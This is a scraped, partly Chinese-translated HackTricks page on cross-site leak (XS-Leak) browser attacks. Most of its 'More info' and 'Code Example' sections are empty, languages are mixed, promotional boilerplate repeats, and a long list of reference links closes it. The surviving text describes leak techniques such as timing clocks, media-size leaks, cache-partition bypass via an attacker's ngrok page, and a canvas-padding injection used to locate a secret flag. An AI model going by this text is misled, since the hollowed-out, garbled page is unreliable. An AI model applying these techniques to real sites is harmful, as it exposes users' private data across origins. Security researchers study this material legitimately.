更多信息:,

更多信息:

代码示例:

更多信息:

代码示例:

More info:

Code Example:

More info:

Code Example:

More info:

Code Example:

More info: (5.4),

Code Example:

More info:

Code Example:

More info:

Code Example:

根据,Chrome的最大URL长度为2MB。

更多信息:

代码示例:

更多信息:

代码示例:

更多信息:

代码示例:

这种技术的一个示例是在 Chrome 中,可以通过帧计数检测到 PDF,因为内部使用了 embed。存在,允许对内容进行一些控制,如 zoom、view、page、toolbar,其中这种技术可能很有趣。

更多信息:

代码示例: , ,

HTMLMediaElement: 此元素显示媒体的 duration 和 buffered 时间,可以通过其 API 访问。

HTMLVideoElement: 它公开 videoHeight 和 videoWidth。在某些浏览器中,还提供了额外的属性,如 webkitVideoDecodedByteCount、webkitAudioDecodedByteCount 和 webkitDecodedFrameCount,提供了有关媒体内容的更深入信息。

getVideoPlaybackQuality(): 此函数提供有关视频播放质量的详细信息,包括 totalVideoFrames,可以指示处理的视频数据量。

HTMLImageElement: 此元素泄露图像的 height 和 width。但是,如果图像无效,这些属性将返回 0,并且 image.decode() 函数将被拒绝,表示未能正确加载图像。

更多信息: ,

代码示例:

更多信息:

代码示例:

根据,在无头 Chrome 中无效。

:visited:

getComputedStyle():

mix-blend-mode:

More info:

Code Example:

More info:

Code Example:

More info:

Code Example: , (来自)

这就是这种技术有趣的原因:Chrome现在具有缓存分区,新打开页面的缓存键是:(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx),但如果我打开一个ngrok页面并在其中使用fetch,缓存键将是:(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx),缓存键不同,因此无法共享缓存。您可以在这里找到更多详细信息: (来自)

More info:

More info:

Code Example:

更多信息:

代码示例:

更多信息:

更多信息:

摘要: 使用来测量执行请求所需的时间。也可以使用其他时钟。

代码示例:

更多信息:

摘要: 使用来测量使用window.open执行请求所需的时间。也可以使用其他时钟。

代码示例:

使用可以轻松构建和自动化工作流,使用世界上最先进的社区工具。 立即获取访问权限:

因此,您可以添加大量的垃圾字符(例如成千上万个"W")来填充网页,使其在秘密信息之前或之后添加类似于**<br><canvas height="1850px"></canvas><br>的内容。 因此,如果例如我们的注入出现在标志之前**,则图像将会加载,但如果出现在标志之后,标志和垃圾字符将阻止其加载(您需要调整放置多少垃圾字符)。这就是在中发生的情况。

一些利用此漏洞的代码示例:

如果无法加载外部图像,这可能表明攻击者图像已加载,另一个选择是尝试多次猜测字符并测量时间。如果加载了图像,所有请求将比未加载图像时花费更长的时间。这就是中使用的方法:

建议在中提供了缓解措施,同时在的每个部分中也有。请查看这些信息以了解如何防范这些技术。

从零开始学习AWS黑客技术 !

支持HackTricks的其他方式:

使用可以轻松构建和自动化工作流程,使用世界上最先进的社区工具。 立即获取访问权限:

如果您想在 HackTricks 中看到您的公司广告或下载 PDF 版本的 HackTricks,请查看!

获取

探索,我们的独家

加入 💬 或 或在 Twitter 🐦 ** 上关注我们**。

通过向 和 github 仓库提交 PR 来分享您的黑客技巧。

如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看!

获取

探索,我们的独家收藏品

加入 💬 或 或 关注我们的Twitter 🐦 。

通过向和 github仓库提交PR来分享您的黑客技巧。

🕸️
htARTE(HackTricks AWS Red Team Expert)
订阅计划
官方 PEASS & HackTricks 商品
PEASS 家族
NFTs
Discord 群组
电报群组
@carlospolopm
HackTricks
HackTricks Cloud
https://github.com/cure53/HTTPLeaks
https://xsinator.com/paper.pdf
https://xsinator.com/
Trickest
performance.now()
Broadcast Channel API
Message Channel API
requestAnimationFrame
setTimeout
https://xsleaks.dev/docs/attacks/timing-attacks/clocks
https://www.usenix.org/conference/usenixsecurity19/presentation/staicu
https://xsleaks.dev/docs/attacks/error-events/
https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)
Cookie Bomb + Onerror XS Leak
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
performance.now()
PerformanceLongTaskTiming API
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
performance.now example
performance.now + Force heavy task
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
SharedArrayBuffer 时钟
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
unload
beforeunload
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
performance.now()
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
框架保护
sandbox
JavaScript Execution XS Leak
https://xsleaks.dev/docs/attacks/browser-features/corb/
https://xsleaks.dev/docs/attacks/id-attribute/
https://xsleaks.dev/docs/attacks/experiments/portals/
https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet
https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
postMessage广播
Trickest
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)
https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Payment%20API%20Leak
https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
Event Loop Blocking + Lazy images
单线程事件循环
https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
Connection Pool Examples
https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
性能API
资源定时API
performance.getEntries
performance.getEntriesByName
performance.now()
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Performance%20API%20Error%20Leak
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak
https://xsinator.com/paper.pdf
https://xsleaks.github.io/xsleaks/examples/x-frame/index.html
https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Performance%20API%20Download%20Detection
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Redirect%20Start%20Leak
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Duration%20Redirect%20Leak
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak
https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
https://xsinator.com/testing.html#Cache%20Leak%20(POST)
https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
https://bugs.chromium.org/p/chromium/issues/detail?id=828265
https://jsbin.com/nejatopusi/1/edit?html,css,js,output
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#CORS%20Error%20Leak
https://xsinator.com/paper.pdf
https://xsinator.com/testing.html#SRI%20Error%20Leak
https://bugs.chromium.org/p/chromium/issues/detail?id=313737
https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html
https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
https://xsinator.com/testing.html#CSP%20Violation%20Leak
https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation
https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events
https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
https://xsinator.com/testing.html#CSP%20Directive%20Leak
https://xsleaks.dev/docs/attacks/browser-features/corp/
https://xsinator.com/testing.html#CORP%20Leak
https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
https://xsinator.com/testing.html#CORB%20Leak
https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
https://xsinator.com/testing.html#Fetch%20Redirect%20Leak
https://xsinator.com/paper.pdf
https://xsleaks.dev/docs/attacks/window-references/
https://xsinator.com/testing.html#COOP%20Leak
https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
https://xsinator.com/testing.html#URL%20Max%20Length%20Leak
https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
Chromium文档
URL Max Length - Client Side
https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76
https://xsinator.com/testing.html#Max%20Redirect%20Leak
https://xsleaks.dev/docs/attacks/navigations/
https://xsinator.com/testing.html#History%20Length%20Leak
https://xsleaks.dev/docs/attacks/frame-counting/
https://xsinator.com/testing.html#Frame%20Count%20Leak
打开 URL 参数
https://xsleaks.dev/docs/attacks/element-leaks/
https://xsleaks.dev/docs/attacks/element-leaks/
https://xsinator.com/testing.html#Media%20Dimensions%20Leak
https://xsinator.com/testing.html#Media%20Duration%20Leak
了解更多关于 HTMLMediaElement
了解更多关于 HTMLVideoElement
了解更多关于 getVideoPlaybackQuality()
了解更多关于 HTMLImageElement
https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle
https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
https://xsinator.com/testing.html#CSS%20Property%20Leak
https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
此
MDN 文档
MDN 文档
MDN 文档
https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak
https://xsleaks.dev/docs/attacks/navigations/#download-trigger
https://xsleaks.dev/docs/attacks/navigations/#download-bar
https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722
https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/
通过分区缓存获得安全性和隐私性
这里
ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234
https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
performance.now()
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
performance.now()
https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks
Trickest
Dangling Markup - HTML scriptless injection
这篇文章
https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
此解决方案的写作总结
Event Loop Blocking + Lazy images
Regular expression Denial of Service - ReDoS
CSS Injection
https://xsinator.com/paper.pdf
https://xsleaks.dev/
https://xsinator.com/paper.pdf
https://xsleaks.dev/
https://github.com/xsleaks/xsleaks
https://xsinator.com/
https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
htARTE(HackTricks AWS Red Team Expert)
订阅计划
官方PEASS & HackTricks周边产品
PEASS家族
NFTs
Discord群组
电报群组
@carlospolopm
HackTricks
HackTricks Cloud
Trickest
Performance API
Trickest
Workflow-powered solution for Bug Bounty, Pentesting, SecOps | TrickestTrickest
Workflow-powered solution for Bug Bounty, Pentesting, SecOps | TrickestTrickest
Workflow-powered solution for Bug Bounty, Pentesting, SecOps | TrickestTrickest
Workflow-powered solution for Bug Bounty, Pentesting, SecOps | TrickestTrickest
Workflow-powered solution for Bug Bounty, Pentesting, SecOps | TrickestTrickest
Logo
Logo
Logo
Logo
Logo